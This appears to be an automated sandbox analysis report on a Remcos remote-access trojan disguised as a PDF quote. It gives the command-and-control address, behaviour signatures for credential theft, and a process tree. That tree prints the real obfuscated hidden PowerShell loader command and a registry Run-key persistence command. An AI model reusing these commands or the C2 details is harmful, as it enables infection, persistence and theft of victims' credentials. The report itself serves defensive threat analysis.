Resubmissions

04/09/2024, 03:48

240904-ecq32avaml

06/08/2024, 13:23

240806-qmt38athma10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 13:23

General

  • Target
    Quots-875-765-pdf.exe
  • Size 1.2MB
  • Sample240806-qmt38athma
  • SHA256 f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 45.95.169.139:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-AIA2PN

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Quots-875-765-pdf.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1004
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$galdens=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas';$beboerhusene=$galdens.SubString(2416,3);.$beboerhusene($galdens)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
        "C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe"
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3600
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4380
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%sekundrfilens% -windowstyle minimized $Seismologue=(Get-ItemProperty -Path 'HKCU:\Ceration48\').Openheartedness0;%sekundrfilens% ($Seismologue)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:4400
        • C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
          C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\mjoxzpncsjznlyqriejchvyrymnuerj"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4384
        • C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
          C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\xltiahxwgrravffvrpdekisaztfvxchcts"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:3088
        • C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
          C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe /stext "C:\Users\Admin\AppData\Local\Temp\hfzaba"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5084

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Labourhoods.Mas

        • Path C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Labourhoods.Mas
        • Size 51KB
        • SHA256 f3b691cb8a7d661732bdd82f35cbe5cc2ed99fedc6992646803e871d221e9e37
        • MD5 SHA1 SHA512 SSDEEP

        Monoerne.Ple

        • Path C:\Users\Admin\AppData\Local\Temp\Myrmecophile\indregistreringers\Tangerendes\Monoerne.Ple
        • Size 342KB
        • SHA256 08ddca57d81a3aa14a1ec07e0beede85bfb8104014d67cc8a2332be5a091abcb
        • MD5 SHA1 SHA512 SSDEEP

        Skankemageren.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Skankemageren.exe
        • Size 1.2MB
        • SHA256 f7f089f7f7753da939649fe98a4d274e44b837a61b72d022897858e1998cc7c4
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_t0oo2xdx.dqb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0oo2xdx.dqb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        mjoxzpncsjznlyqriejchvyrymnuerj

        • Path C:\Users\Admin\AppData\Local\Temp\mjoxzpncsjznlyqriejchvyrymnuerj
        • Size 4KB
        • SHA256 610c5ee3f0e63441521d26bc477c9618a4c5f86e93d31b31890680c69e3ecc3d
        • MD5 SHA1 SHA512 SSDEEP

        memory/3088-70-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/3088-67-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/3088-64-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/3088-61-0x0000000000400000-0x0000000000462000-memory.dmp

        memory/3600-98-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-96-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-94-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-93-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-92-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-90-0x0000000020970000-0x0000000020989000-memory.dmp

        memory/3600-91-0x0000000020970000-0x0000000020989000-memory.dmp

        memory/3600-95-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-87-0x0000000020970000-0x0000000020989000-memory.dmp

        memory/3600-97-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-99-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-100-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-101-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-102-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-103-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/3600-50-0x00000000004C0000-0x0000000001714000-memory.dmp

        memory/4024-28-0x0000000006070000-0x0000000006092000-memory.dmp

        memory/4024-29-0x0000000007360000-0x0000000007904000-memory.dmp

        memory/4024-43-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-40-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

        memory/4024-46-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-38-0x0000000008610000-0x000000000B293000-memory.dmp

        memory/4024-55-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-11-0x0000000004B60000-0x0000000004B82000-memory.dmp

        memory/4024-12-0x0000000005460000-0x00000000054C6000-memory.dmp

        memory/4024-42-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-7-0x0000000002540000-0x0000000002576000-memory.dmp

        memory/4024-39-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-13-0x00000000054D0000-0x0000000005536000-memory.dmp

        memory/4024-37-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-19-0x0000000005540000-0x0000000005894000-memory.dmp

        memory/4024-35-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-9-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-8-0x0000000004C50000-0x0000000005278000-memory.dmp

        memory/4024-34-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-24-0x0000000005B20000-0x0000000005B3E000-memory.dmp

        memory/4024-33-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-31-0x0000000007F90000-0x000000000860A000-memory.dmp

        memory/4024-10-0x0000000073C60000-0x0000000074410000-memory.dmp

        memory/4024-6-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

        memory/4024-27-0x0000000006020000-0x000000000603A000-memory.dmp

        memory/4024-26-0x0000000006D10000-0x0000000006DA6000-memory.dmp

        memory/4024-25-0x0000000005B50000-0x0000000005B9C000-memory.dmp

        memory/4384-85-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/4384-65-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/4384-69-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/4384-63-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/4384-58-0x0000000000400000-0x0000000000478000-memory.dmp

        memory/5084-77-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/5084-78-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/5084-80-0x0000000000400000-0x0000000000424000-memory.dmp

        memory/5084-71-0x0000000000400000-0x0000000000424000-memory.dmp